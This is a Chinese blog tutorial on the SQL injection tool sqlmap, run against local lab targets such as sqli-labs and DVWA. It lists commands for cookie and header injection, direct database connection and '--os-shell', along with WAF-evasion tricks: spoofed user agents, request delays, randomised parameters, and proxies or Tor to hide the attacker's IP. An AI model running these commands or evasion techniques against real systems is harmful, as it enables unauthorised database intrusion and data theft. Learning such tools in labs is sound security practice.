sqlmap的请求参数

本文详细介绍了SQL注入工具sqlmap的使用,包括直接连接数据库、URL探测、HTTP请求参数探测、Cookie注入、User-Agent与Random-Agent的伪造,以及代理设置、Tor隐藏网络等绕过技巧。通过实例展示了如何通过sqlmap进行SQL注入测试,并探讨了如何设置参数以避免WAF检测。此外,还讲解了sqlmap如何绕过HTTP认证以及设置发包延时和超时。
摘要由CSDN通过智能技术生成


请求参数指的就是发送的HTTP数据包中的各种字段,sqlmap针对这些字段进行相应的修改,进行一系列的探测

Sqlmap

服务型数据库

mysql,mssql,orcale,PostgreSQL

文件型数据库

SQLite,Access,Firebird

直连数据库

sqlmap.py -d "mysql://root:123456@192.168.1.105:3306/test1" -f --banner

//知道数据库的账号密码**直接**连接
// test1是具体数据库名称
// --banner  在banner信息中可以得到脚本语言,中间件,数据库版本等信息
// --os-shell  可以getshell

URL探测

sqlmap -u "http://192.168.1.105/sqli-labs-master/Less-1/?id=" --banner

请添加图片描述

sqlmap -r test.txt --banner

HTTP请求参数

--method=post		 //sqlmap 默认任务网页是get请求方式,用method指定为post方式
--data="id=1"		 //只有post才能在请求体中携带参数;一般要结合brupsuite抓包
--param-del=";"		 //http中默认使用& 作为分隔符,这里指定;为分隔符
--cookie=" "		 //某些登录的页面需要进行cookie验证
–cookie (cookie注入)
http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit# (GET)  # E:\sqlmap\sqlmap.py -u http://127.0.0.1/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit# "--cookie=security=low; PHPSESSID=o20mk0pc6p3co9i7at67nkgk14" --banner --level=2
#有cookie相关注入,一般都要用大于等于2的level

下面演示如何通过cookie进行注入
首先进行抓包,得到cookie
请添加图片描述请添加图片描述用sqlmap跑完之后,得到了一个文件,记录的详细的过程
打开文件,看到了曝出的数据库

请添加图片描述
下面演示另外一种场景,也是cookie注入

  1. 首先进行抓包
    请添加图片描述

  2. 将抓到的数据包放行,得到登陆成功的数据包。将其复制到一个文件请添加图片描述

  3. 利用sqlmap注入,返回结果如下

     sqlmap.py -r text/cookie.txt --level 2 -p uname
    

请添加图片描述

–user-agent、–random-agent

sqlmap在默认情况下使用以下用户代理头执行HTTP请求,很容易被防火墙识别并拦截,因此要用user-agnet或–random-agnet参数进行伪造

sqlmap/1.0-dev-xxxxxxxx(http://sqlmap.org)

–user-agent。sqlmap 可以使用 指定的用户代理头执行Http请求(要通过wireshark或brupsuite抓包),通过用户自定义的代理作为参数,使用–user-agent来伪造
–random-agent。sqlmap将从/txt/user-agent中随机选择一个用户会话中的所有HTTP请求。一些站点在服务端检测HTTP User-Agent值,如果不是一个合法的值,就会中端连接
针对User-agnet的值探测sql注入的时候,设置 level >3

在一个文件的关键字中加*,表示在这个位置探测

对其他字段探测(host、referer等)

在test.txt文件中,对host字段后加*。 例如:Host: 127.0.0.1*,表示对host字段进行探测。
其中level 3就可以对referer字段进行探测,不需要再对referer字段后加*

sqlmap.py -r test.txt level 5   
	#要用level 5;表示探测的最高等级,对请求的每一个字段都要SQL注入探测

对其他字段进行探测可以有用 --headers参数

sqlmap.py -u "http://xxx" --headers="Host:www.xxx.com\nUswe-agent:xxxx" -v 5
	#\n表示分隔符,-v 表示显示输出结果。
	# 如果想探测其他字段,直接将其他字段的值复制过来就行

sqlmap绕过/隐藏技术

sqlmap绕过HTTP协议认证

可以绕过认证,继续执行sql注入的探测

python.py -u "http://192.168.1.105/sqli-labs-master/Less-1/?id=" --auth-type Basic --auth-cred "testuser:testpass"
--auth-type 支持 Basic、 Digest、 NTLM
sqlmap设置代理

通过设置代理可以隐藏我们真实的IP

--prcxy  "http://ip[端口]" 			#设置代理服务器的位置
--proxy-cred user:passwd					#用来设置HTTP代理服务器认证信息
--proxy-file test.txt						# 用来再文件中设置多条代理
--ignore-proxy				#sqlmap运行时,忽略系统范围内的HTTP代理服务器的设置

在实验的时候可以在网上搜索免费代理地址

sqlmap设置tor隐藏网络

使用tor匿名网络,隐藏攻击者的真实IP(但并不是所有网络都能使用tor)

--tor			#开启tor连接
--tor-port		#指定tor端口
--tor-type    #支持http、https、socks4、socks5
--check-tor		#检测tor连接是否正常
sqlmap设置发包延时

避免发包过快触发防火墙的查杀,从而绕过waf

--delay 0.5   	#设置延时0.5s
设置超时
--timeout 10
#若等待10秒之后仍没有响应,就中断连接
--retried 4
#设置对应重试次数
设置随机化参数

如果只针对某个参数(例如url中的 id=)进行探测,很容易被waf检测到,因此要设置随机化参数进行探测

--randomize id
#将id的值随机化,有时会用编码的方式
设置日志过滤目标
-l 	#用于从提供的日志解析所有主机
sqlmap.py -l log.txt --scope="目标IP"
 #只能探测scope之后能够匹配的内容

请添加图片描述
然后在抓包,将抓到的包放掉,然后就可以在刚刚创建的文件中看到抓取的内容
请添加图片描述
请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

牛顿编程

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值